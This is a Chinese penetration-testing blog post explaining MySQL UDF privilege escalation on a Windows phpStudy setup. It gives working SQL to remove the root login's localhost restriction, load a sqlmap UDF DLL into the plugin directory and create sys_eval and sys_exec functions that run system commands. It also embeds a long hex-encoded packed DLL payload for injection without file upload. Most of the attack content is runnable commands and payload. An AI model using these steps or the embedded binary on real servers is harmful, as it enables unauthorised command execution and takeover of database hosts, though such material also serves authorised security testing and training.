【渗透测试】MySQL提权之UDF

givemefivw

2022-08-05

技术文章

渗透测试

MySQL UDF提权

0x01 手工提权

udf简介：
- UDF(user-defined function)是MySQL的一个拓展接口，也可称之为用户自定义函数，它是用来拓展MySQL的技术手段，可以说是数据库功能的一种扩展，用户通过自定义函数来实现在MySQL中无法方便实现的功能，其添加的新函数都可以在SQL语句中调用，就像本机函数如ABS()或SOUNDEX()一样方便。
- UDF官方介绍以及其函数定义请参考（http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html）
udf提权原理
- 在udf.dll文件中自定义一些能够以高权限执行系统命令的函数，然后将该函数导入到mysql数据库中，通过mysql数据库去以高权限执行系统命令。

提权条件

掌握mysql数据库的账户，该账户对mysql拥有insert和delete权限，以创建和删除函数（最好直接是root账户）
secure_file_priv=””

1 当可以直接上传udf.dll

Win10开启phpstudy，设置my.ini字段：

#  power by php中文网 2017  www.php.cn  官网下载最新版

[client]
port=3306
[mysql]
default-character-set=utf8

[mysqld]
local_infile=1

[mysqld]
secure_file_priv=""

一个问题需要注意，mysql默认绑定了localhost，也就是只有localhost可以连接mysql，这时候无法通过远程命令进行连接，需要通过以下操作解除localhost限制：

1、连接服务器: mysql -u root -p

2、看当前所有数据库：show databases;

3、进入mysql数据库：use mysql;

4、查看mysql数据库中所有的表：show tables;

5、查看user表中的数据：select Host, User,Password from user;

6、修改user表中的Host:update user set Host='%' where User='root';

7、最后刷新一下：flush privileges;

假设通过某种方式获mysql数据库口令,远程登录mysql服务

查看mysql版本，select version();：

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在mysql版本 > 5.1 时，需要把udf.dll文件写入到 mysql安装目录下的 lib\plugin文件夹下
在mysql版本 < 5.1 时，需要把udf.dll文件写入到 “win2003的：c:\windows\system32下” 或 “win2000的：c:\winnt\system32下”

查看mysql数据库的位数，show variables like “%version_%;”

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version_complie_os的值为：win32，说明该mysql的版本为32位的。
之所以要看mysql的位数，是因为要保持udf.dll文件的位数与当前数据库位数相同(注意是数据库的位数而不是操作系统的位数**)**，否则在创建函数的时候是报错：ERROR 1126 (HY000): Can’t open shared library ‘lib_mysqludf_sys.dll’ (errno: 193 )

查看secure_file_priv的值，show variables like “secure_file_priv”;

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当 secure_file_priv=NULL 时，是不允许mysql导出文件的当 secure_file_priv=xxx 时，是只允许mysql将文件导出到xxx目录下的当 secure_file_priv= 时，mysql可以将文件导出到任意目录下该参数在 my.ini 文件中。如要修改，只能通过my.ini文件修改，然后重启mysql。不能够通过sql语句进行修改。
注意：
- 在mysql5.5之前 secure_file_priv默认是空，这个情况下可以向任意绝对路径写文件
- 在mysql5.5之后 secure_file_priv默认是NULL，这个情况下不可以写文件

上传udf.dll文件，可通过sqlmap带的udf.dll

sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_

通过sqlmap/extra/cloak/cloak.py -d -i lib_mysqludf_sys.dll_ 进行解码

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上传udf.dll

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接着令mysql读入udf.dll文件数据：

create table t_tmp(data longblob);

insert into t_tmp values(load_file('C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\lib_udf.dll'));

select * from t_tmp into dumpfile 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';

create function sys_eval retuens string soname 'udf.dll'

select name from mysql.func;

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一个问题，发现通过sys_exec执行命令，无法得到回显，通过写文件的方式进行结果获取：

select sys_exec(‘whoami > C:\phpstudy\PHPTutorial\MySQL\lib\plugin\12.txt’);

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sys_eval函数可以直接回显：

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清理危险函数：

1
2
3

drop function sys_exec/eval;

drop table t_tmp;

思路命令总结：

select version();
//查看版本

show variables like "%version_%";
//查看位数

show variables like "secure_file_priv";
//查看secure_file_priv选项

然后上传udf.dll文件

create table t_tmp(data longblob);
//创建临时表

insert into t_tmp values(load_file('C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\lib_udf.dll'));
//将udf.dll文件中的二进制数据导入到该临时表中

show variables like "%plugin%"
select @@plugin_dir; -- 该语句也可以达到相同效果
//查询mysql的plugin目录所在位置,如果没有plugin目录手动创建

select * from t_tmp into dumpfile 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
//将t_tmp表中的数据导出到plugin目录下udf.dll

create function sys_eval returns string soname 'udf.dll'
//创建eval函数

select name from mysql.func;
//查看函数是否创建成功

select sys_eval('whoami');
//执行系统命令

drop function sys_exec/eval;
//删除创建的函数

drop table t_tmp;
//删除临时表

2 当不可以直接上传udf.dll

Payload：

create table t_tmp(data LONGBLOB);

insert into t_tmp values("");

update t_tmp set data=concat('',0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273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show variables like 'plugin_dir';

select * from t_tmp into dumpfile 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';

create function sys_eval returns string soname 'udf.dll'

select name from mysql.func;

select sys_eval('whoami');

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0x02 工具提权

使用工具提权方便快捷，还可一键清除连接信息。

MDUT：

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参考资料

https://www.cnblogs.com/02SWD/p/15858250.html

https://www.cnblogs.com/sheng-xia/articles/14628574.html